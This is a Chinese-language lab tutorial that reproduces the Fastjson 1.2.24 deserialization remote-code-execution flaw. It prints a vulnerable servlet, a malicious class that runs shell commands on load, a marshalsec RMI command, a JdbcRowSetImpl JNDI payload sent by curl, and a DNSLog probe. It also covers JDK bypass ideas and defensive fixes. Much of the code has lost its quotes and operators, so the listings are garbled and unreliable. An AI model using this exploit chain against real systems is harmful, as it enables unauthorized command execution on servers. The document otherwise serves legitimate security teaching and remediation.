Fastjson 1.2.24反序列化漏洞深度剖析与实战复现

Fastjson 1.2.24反序列化漏洞深度剖析与实战复现
1. 项目概述为什么我们要深入理解Fastjson漏洞在Java生态里Fastjson这个名字搞后端开发的朋友们应该都不陌生。它曾是阿里巴巴开源的一个高性能JSON处理库以其极致的序列化/反序列化速度而闻名一度是很多追求性能项目的首选。然而也正是这个“快”字让它成为了安全领域一个绕不开的经典案例。我从业这些年处理过不少因为Fastjson引发的安全事件从内部测试环境被“玩坏”到线上业务被悄无声息地植入后门每一次复盘都让人印象深刻。所以今天我们不谈空泛的理论就从一个具体的漏洞编号“1.2.24”出发手把手、一步步地带你复现一个经典的Fastjson反序列化漏洞。你可能会问现在都什么年代了还在聊1.2.24确实这个版本老掉牙了但它的漏洞原理是后续众多Fastjson漏洞的“祖师爷”。理解了这个最原始的利用方式你才能看透后面那些五花八门的绕过手法和补丁博弈。这次复现的目标很明确在一个可控的实验室环境里搭建一个存在漏洞的Web应用然后利用Fastjson 1.2.24版本的反序列化漏洞实现远程命令执行RCE。这不仅仅是为了“炫技”更重要的是让你亲身体验攻击链是如何串联的从而在代码编写、组件选型、安全配置时脑子里能绷紧那根弦。整个流程会涉及漏洞环境搭建、利用工具准备、漏洞触发和深度原理剖析。我会假设你具备基础的Java Web开发知识知道什么是Servlet、什么是Jar包并且能在自己的电脑上跑起一个Tomcat。如果你对安全测试感兴趣或者是负责项目安全的开发人员那么这篇内容就是为你准备的。我们不光要“知其然”——能复现漏洞更要“知其所以然”——明白漏洞为什么会产生以及从根本上如何避免。2. 漏洞环境搭建与核心原理剖析2.1 环境准备与漏洞应用部署工欲善其事必先利其器。复现漏洞的第一步就是搭建一个精准的、可重复的漏洞环境。这里我们不推荐你用任何线上或者公司的项目务必在虚拟机或者隔离的本地环境进行操作。我个人的习惯是使用Docker来构建环境它干净、可复用做完实验一键清除不留后患。但为了更贴近传统部署方式我们这次采用手动部署到Tomcat的方式。首先你需要准备以下“食材”JDK 8建议使用JDK 8u202或更早的版本以确保兼容性。高版本JDK在某些安全机制上如JNDI注入的默认限制可能会对复现造成影响。Apache Tomcat 8.5.x一个轻量级的Web应用服务器用于部署我们的漏洞应用。存在漏洞的Fastjson库核心就是fastjson-1.2.24.jar。你需要专门去下载这个特定版本。漏洞Web应用我们需要一个简单的、使用了Fastjson进行JSON解析的Web应用。为了节省时间我直接提供一个最简单的Servlet示例。创建漏洞应用步骤项目结构创建一个标准的Java Web项目目录结构。fastjson-vuln-demo/ ├── WEB-INF │ ├── web.xml │ └── lib │ └── fastjson-1.2.24.jar └── index.jsp (可选一个简单的首页)编写漏洞Servlet在src目录编译后class文件放入WEB-INF/classes或直接以JSP形式创建一个处理JSON的接口。这里以Servlet为例VulnServlet.javaimport com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.PrintWriter; public class VulnServlet extends HttpServlet { Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType(text/html;charsetUTF-8); PrintWriter out resp.getWriter(); // 关键漏洞代码直接使用parseObject解析用户可控的JSON字符串且未设置安全模式 BufferedReader reader req.getReader(); StringBuilder sb new StringBuilder(); String line; while ((line reader.readLine()) ! null) { sb.append(line); } String jsonData sb.toString(); try { // 这里是触发点默认情况下Fastjson 1.2.24会开启autotype功能 Object obj JSON.parseObject(jsonData); out.println(JSON解析成功对象类型: (obj ! null ? obj.getClass().getName() : null)); } catch (Exception e) { out.println(JSON解析错误: e.getMessage()); e.printStackTrace(out); } } }这段代码的致命问题在于它直接使用JSON.parseObject(jsonData)而没有指定具体的Class类型。在Fastjson 1.2.24中这意味着它允许通过type属性指定任意类进行反序列化。配置web.xml将Servlet配置到Web应用中。?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 servlet servlet-nameVulnServlet/servlet-name servlet-classVulnServlet/servlet-class /servlet servlet-mapping servlet-nameVulnServlet/servlet-name url-pattern/vuln/url-pattern /servlet-mapping /-web-app编译与部署将VulnServlet.java编译成class文件确保classpath中包含fastjson-1.2.24.jar和servlet-api.jar放入WEB-INF/classes。然后将整个fastjson-vuln-demo文件夹打包成fastjson-vuln-demo.war或者直接将其复制到Tomcat的webapps目录下。启动Tomcat运行Tomcat的bin/startup.batWindows或bin/startup.shLinux/Mac。访问http://localhost:8080/fastjson-vuln-demo/vuln如果能看到页面哪怕报错说需要POST请求说明应用部署成功。注意这里我强烈建议你在虚拟机中操作并将虚拟机网络设置为NAT或Host-Only模式避免无意中暴露到网络。永远记住安全测试的第一原则是“授权”和“隔离”。2.2 Fastjson反序列化漏洞原理深度解析环境搭好了现在我们深入核心看看漏洞到底是怎么发生的。Fastjson的反序列化漏洞核心在于其autotype自动类型识别机制。在JSON标准中并没有规定如何将JSON字符串还原成具体的Java对象类型。Fastjson为了提供便利引入了一个特殊的属性type。当你在JSON字符串中加上type:com.example.UserFastjson在反序列化时就会尝试去实例化com.example.User这个类并根据JSON中的键值对调用该类的setter方法或直接给字段赋值。漏洞触发流程如下攻击者构造恶意JSON攻击者不传递一个正常的业务对象JSON而是传递一个包含type属性的JSON该属性指向一个存在于目标Classpath中的、具有“危险行为”的类。Fastjson实例化指定类由于漏洞代码中使用了parseObject()且未禁用autotypeFastjson会根据type的值使用Java反射机制去加载并实例化这个类。调用类的setter/getter/构造函数实例化后Fastjson会遍历JSON中的其他键寻找对应的setter方法格式为setKey或字段进行赋值。如果这个类在setter方法、构造函数、getter方法中执行了某些危险操作如Runtime.exec()那么危险操作就会被触发。寻找“跳板”类Gadget Chain直接包含命令执行的类如Runtime通常没有公开的构造函数或setter。因此攻击者需要利用一系列类的组合形成一个“利用链”Gadget Chain。这条链子通常由三部分组成触发源Sink最终执行恶意代码的地方如Runtime.exec()。传递链Chain一系列类的调用通过getter、setter、toString、hashCode等方法将执行流引导到触发源。入口点Source可以被Fastjson实例化并启动整个链的类通常它的某个setter或getter方法能调用到传递链上的下一个类。在Fastjson 1.2.24的经典利用中最著名的入口点就是com.sun.rowset.JdbcRowSetImpl。这个类有一个setDataSourceName()方法当它被调用时如果setAutoCommit()也被调用它会去执行一个JNDI查找。而JNDIJava Naming and Directory Interface如果指向一个恶意的RMI/LDAP服务就可以实现远程类加载从而执行任意代码。为什么1.2.24版本特别脆弱因为在1.2.25版本之前Fastjson的autotype功能是默认开启的并且其用于校验类的黑白名单机制非常薄弱甚至默认情况下没有启用有效的黑名单。这使得攻击者可以相对容易地指定目标Classpath中存在的危险类进行实例化。实操心得理解这个原理你就能明白修复漏洞的几个关键方向1. 关闭autotype最彻底2. 启用并维护严格的白名单3. 升级到修复了相关Gadget Chain的版本。在代码审查时看到JSON.parseObject()或JSON.parse()时一定要立刻警惕检查传入的字符串是否用户可控以及是否指定了安全的解析类型或配置。3. 利用链构造与漏洞复现实操3.1 搭建恶意RMI服务与利用链准备知道了原理我们就要动手构造攻击了。由于直接利用JdbcRowSetImpl进行JNDI注入是目前最经典的路径我们需要先搭建一个恶意的RMI服务。这个服务的作用是当受害者服务器我们的漏洞应用发起JNDI查找时返回一个我们精心构造的恶意类该类在初始化时会执行系统命令。这里我们使用一个安全研究中常用的工具marshalsec。它可以很方便地启动一个恶意的RMI或LDAP服务。步骤一准备恶意类首先我们需要编写一个会被远程加载的恶意类。这个类必须实现java.rmi.Remote或javax.naming.Referenceable接口或者是一个普通的工厂类。我们写一个简单的ExploitObject.javaimport javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class ExploitObject implements ObjectFactory { static { // 静态代码块在类被加载时执行 try { Runtime.getRuntime().exec(calc.exe); // Windows弹出计算器 // 或 Runtime.getRuntime().exec(new String[]{/bin/bash, -c, touch /tmp/hacked}); // Linux } catch (IOException e) { e.printStackTrace(); } } Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable?, ? environment) throws Exception { return null; } }将这个Java文件编译成ExploitObject.class。步骤二启动恶意RMI服务我们需要让这个ExploitObject.class可以通过网络被访问。通常我们会把它放在一个HTTP服务器上。使用Python快速启一个HTTP服务python -m http.server 8888确保ExploitObject.class文件在启动HTTP服务的目录下。这样通过http://你的IP:8888/ExploitObject.class就能访问到这个类文件。接下来使用marshalsec启动RMI服务并指向我们的HTTP服务地址下载并编译marshalsec需要Maven环境。运行命令java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://你的IP:8888/#ExploitObject 1099这个命令会在1099端口启动一个RMI服务。当有客户端即我们的漏洞应用通过JNDI查询这个RMI服务时RMI服务会告诉客户端“你去http://你的IP:8888/加载一个叫ExploitObject的类吧”。客户端就会去这个地址下载并加载该类从而触发静态代码块中的命令执行。注意事项这里的“你的IP”需要是运行漏洞应用的服务器能够访问到的IP。如果是本地复现两者都在同一台机器可以使用127.0.0.1。如果在虚拟机中需要使用宿主机的IP确保防火墙放行了相关端口。这是复现过程中最容易卡住的地方务必确保网络连通性。3.2 发起攻击与漏洞验证现在漏洞应用和恶意服务都准备好了就差临门一脚——发送那个恶意的JSON数据包。我们构造的恶意JSON如下{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://你的RMI服务IP:1099/ExploitObject, autoCommit:true }解释一下这个Payloadtype指定Fastjson去实例化com.sun.rowset.JdbcRowSetImpl类。dataSourceName调用setDataSourceName(“rmi://…”)方法设置JNDI数据源地址为我们恶意的RMI服务。autoCommit调用setAutoCommit(true)方法。在JdbcRowSetImpl的内部实现中当setAutoCommit()被调用时如果dataSourceName不为空它会去调用connect()方法进而执行InitialContext.lookup(dataSourceName)也就是发起JNDI查询连接到我们的恶意RMI服务。发起攻击我们可以使用任何可以发送HTTP POST请求的工具比如curl、Postman或者浏览器插件。这里用curl示例curl -X POST http://localhost:8080/fastjson-vuln-demo/vuln \ -H Content-Type: application/json \ -d { type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://127.0.0.1:1099/ExploitObject, autoCommit:true }发送这个请求后你应该依次观察到请求发送到漏洞应用。漏洞应用中的Fastjson解析JSON实例化JdbcRowSetImpl并调用其setter方法。JdbcRowSetImpl向rmi://127.0.0.1:1099发起JNDI查询。恶意RMI服务响应告诉它去http://你的IP:8888/ExploitObject.class加载类。漏洞应用从HTTP服务器下载并加载ExploitObject.class。ExploitObject类的静态代码块执行弹出计算器或执行你定义的命令。如果一切顺利你会在运行漏洞应用的服务器上看到计算器被弹出。这就成功地复现了Fastjson 1.2.24的反序列化远程命令执行漏洞。实操心得在实际渗透测试中可能不会这么顺利。可能会遇到Java高版本8u191对JNDI注入的默认限制这时rmi://和ldap://可能失效需要转向ldap://序列化数据等绕过方式或者寻找其他不依赖JNDI的利用链如TemplatesImpl。复现成功的关键在于环境的一致性JDK版本、Fastjson版本、依赖库版本。建议使用Docker镜像或虚拟机快照来固化成功的环境。4. 漏洞修复方案与深度防御策略成功复现漏洞让我们感受到了攻击的威力但我们的最终目的是修复和防御。针对这个经典的Fastjson反序列化漏洞修复不是简单地升级一个版本那么简单需要从多个层面构建防御体系。4.1 直接修复方案升级与安全配置1. 升级Fastjson版本治标也治本的一部分这是最直接有效的办法。阿里巴巴针对1.2.24的漏洞在后续版本中推出了多项安全增强。1.2.25 - 1.2.41引入了autotype黑白名单机制并且默认关闭了autotype。必须通过ParserConfig.getGlobalInstance().setAutoTypeSupport(true);手动开启。同时内置了一个黑名单但早期版本的黑名单可以被绕过如利用L、;等特殊字符。1.2.42 - 1.2.43修复了黑名单绕过的Bug黑名单检查变得更加严格。1.2.44及以上进一步加固了黑名单机制。强烈建议升级到目前最新的安全版本如1.2.83及以上。新版本不仅修复了已知的利用链还引入了更严格的安全模式。如何安全升级不要仅仅修改pom.xml或build.gradle中的版本号就了事。升级后必须进行全面的回归测试因为Fastjson在不同版本间可能存在API变更或行为差异。特别是autotype默认关闭后原来依赖自动类型识别的代码可能会报错。2. 使用安全编码模式根本方法升级库是基础但更关键的是修正不安全的编码习惯。指定具体类型在反序列化时永远使用JSON.parseObject(jsonString, YourClass.class)这种形式明确指定目标类型。这样Fastjson就不会去解析type属性。// 安全做法 User user JSON.parseObject(jsonString, User.class); // 危险做法 Object obj JSON.parseObject(jsonString); // 或 JSON.parse(jsonString)关闭autotype如果你因为某些历史原因必须使用无类型反序列化并且无法升级到高版本那么务必在全局配置中显式关闭autotype。ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 并且考虑设置一个严格的白名单 ParserConfig.getGlobalInstance().addAccept(com.yourcompany.safe.);使用Jackson或Gson替代对于新项目可以考虑使用其他在安全历史上相对更好的JSON库如Jackson或Gson。但这并非一劳永逸任何库的错误使用都可能带来安全问题关键还是编程规范。4.2 纵深防御与安全实践修复漏洞点只是第一道防线真正的安全需要纵深防御。1. 依赖组件安全管控软件物料清单SBOM建立和维护项目的第三方组件清单明确知道项目中用了哪些库、什么版本。持续漏洞监控使用OWASP Dependency-Check、Snyk、GitHub Dependabot等工具持续扫描项目依赖及时获取漏洞情报并推动修复。最小化依赖定期清理无用的Jar包减少攻击面。2. 运行时环境加固使用最新JDK高版本JDK如8u191 11对JNDI/RMI/LDAP等攻击向量增加了默认限制可以有效阻断大部分基于JNDI注入的利用链。配置JVM安全参数可以添加参数进一步限制不安全的操作。-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse容器与网络隔离应用运行在容器中并配置严格的安全策略如Seccomp, AppArmor。通过网络策略限制应用容器的出站连接特别是向未知外部地址发起请求的能力。3. 安全开发生命周期SDL集成安全编码规范将“禁止使用不安全的Fastjson API”写入团队编码规范。代码审计与扫描在CI/CD流水线中集成静态应用安全测试SAST工具如SonarQube、Fortify等自动检测不安全的反序列化代码模式。渗透测试与红蓝对抗定期对系统进行安全测试主动发现潜在漏洞。复现漏洞的技能正是安全测试人员所需要的。4. WAF与RASP防护Web应用防火墙WAF在网络边界部署WAF可以配置规则拦截包含可疑type属性如com.sun.,org.apache.,javax.等常见利用链包名的请求。运行时应用自我保护RASP在应用内部部署RASP探针可以在反序列化操作发生时进行深度监控和拦截即使存在未知的利用链也能基于行为如执行命令、加载远程类进行阻断。个人体会我见过太多因为“只是一个内部系统”、“性能要求高”而忽略安全升级的案例最终酿成安全事件。安全与性能、便利性永远是一个需要权衡的三角。对于Fastjson我的建议是新项目慎用老项目尽快升级并规范API使用。把这次复现当成一次警钟在写每一行处理外部数据的代码时都问自己一句“如果传入恶意数据会发生什么” 这种安全意识比任何具体的技术修复都重要。5. 常见问题排查与复现技巧实录在复现Fastjson漏洞的过程中你几乎一定会遇到各种问题导致利用不成功。下面我把自己和同行们踩过的坑以及排查思路整理出来希望能帮你快速定位问题。5.1 复现失败问题排查清单问题现象可能原因排查步骤与解决方案发送Payload后无任何反应应用返回错误或空1. 漏洞路径或请求方式错误。2. Fastjson版本不对或漏洞代码未生效。3. Payload格式错误如JSON格式不对。1.检查端点用正常JSON数据测试/vuln接口是否正常工作。2.确认版本在应用日志或启动信息中确认加载的确实是fastjson-1.2.24.jar。检查是否有其他版本的Fastjson Jar包冲突。3.检查Payload使用在线的JSON格式化工具验证Payload格式确保引号、括号匹配。RMI服务启动成功但漏洞应用无连接请求1. 网络不通。2. Payload中的RMI地址错误。3. JDK版本过高默认禁止了远程类加载。1.测试网络从运行漏洞应用的机器上尝试telnet RMI服务IP 1099看端口是否连通。2.检查IP和端口确保Payload中的dataSourceName值与启动marshalsec时使用的IP和端口完全一致。如果是虚拟机注意区分宿主机IP和虚拟机IP。3.检查JDK版本运行java -version。如果版本 8u191需要尝试使用LDAP协议或更高版本的绕过方式。RMI服务收到连接但HTTP服务没有收到类文件请求1. HTTP服务未启动或端口被占用。2. 恶意类未正确编译或放置位置不对。3. RMI服务配置的URL路径错误。1.检查HTTP服务直接在浏览器访问http://你的IP:8888/ExploitObject.class看是否能下载文件。2.确认类文件确保ExploitObject.class是通过javac编译的且没有包路径。如果有包名URL路径需要包含包目录。3.检查marshalsec命令确认命令中#号前的URL路径正确且#号后的类名不带.class后缀。收到类文件请求但命令未执行如计算器没弹出1. 命令本身执行失败路径错误、权限不足。2. 静态代码块未执行或环境问题。3. 安全软件拦截。1.简化命令将命令改为最简单的如Windows下calc.exeLinux下touch /tmp/success确保命令本身无误。2.添加日志在ExploitObject的静态代码块中增加文件写入或打印栈跟踪的代码确认类是否被加载以及代码是否执行。3.关闭安全软件在实验环境中临时关闭杀毒软件或安全防护仅限实验环境。返回错误autoType is not supportFastjson版本较高1.2.25且未开启autotype支持。确认环境使用的是1.2.24版本。检查类路径下是否有多个版本的Fastjson Jar包。5.2 高阶复现技巧与绕过思路当你掌握了基础复现方法后可以尝试一些更接近真实场景的挑战1. 不出网利用DNSLog验证在内网环境中目标服务器可能无法访问外部互联网。此时可以利用DNSLog平台来验证漏洞是否存在。DNSLog会提供一个临时子域名任何对该子域名的DNS解析请求都会被记录。修改Payload将dataSourceName中的RMI地址改为一个包含DNSLog子域名的地址如rmi://your-subdomain.dnslog.cn/Exploit。观察如果漏洞存在且发起JNDI查询就会对your-subdomain.dnslog.cn进行DNS解析你在DNSLog平台上就能看到记录。这只能证明漏洞存在无法执行命令。2. 高版本JDK绕过8u191从JDK 8u191、7u201、6u211开始默认将com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase设置为false禁止从远程Codebase加载类。此时传统的RMI/LDAP利用方式失效。利用本地ClassPath中的Gadget寻找目标应用依赖中已有的、可利用的类库如commons-collections,groovy,rome等构造不依赖远程类加载的利用链。这需要更深入的研究和针对性的构造。利用LDAP序列化数据在某些特定条件下即使不加载远程类也可以通过LDAP服务返回一个序列化的对象再利用目标ClassPath中已有的链进行反序列化。这通常需要目标环境中存在完整的“二次反序列化”利用链。3. Fastjson后续版本漏洞的复现思路1.2.24之后Fastjson又曝出多个绕过黑名单的漏洞如CVE-2017-18349等。复现这些漏洞的思路类似但需要寻找新的入口类Gadget研究补丁和绕过方式找到在新版本黑白名单机制下依然可用的、具有危险方法的类。构造新的利用链将新的入口类与最终的触发点Sink连接起来。调整Payload根据新类的属性构造对应的JSON键值对。最后的心得漏洞复现不是目的而是手段。通过亲手复现你才能真正理解漏洞的每一个环节感受到安全配置的每一个细节都至关重要。在平时开发中养成好习惯定期更新组件、对用户输入保持绝对不信任、使用最小权限原则运行程序。安全是一个持续的过程而不是一个可以一劳永逸的状态。希望这次从Fastjson 1.2.24开始的旅程能为你敲响警钟并在你的技术工具箱里添上重要的一笔。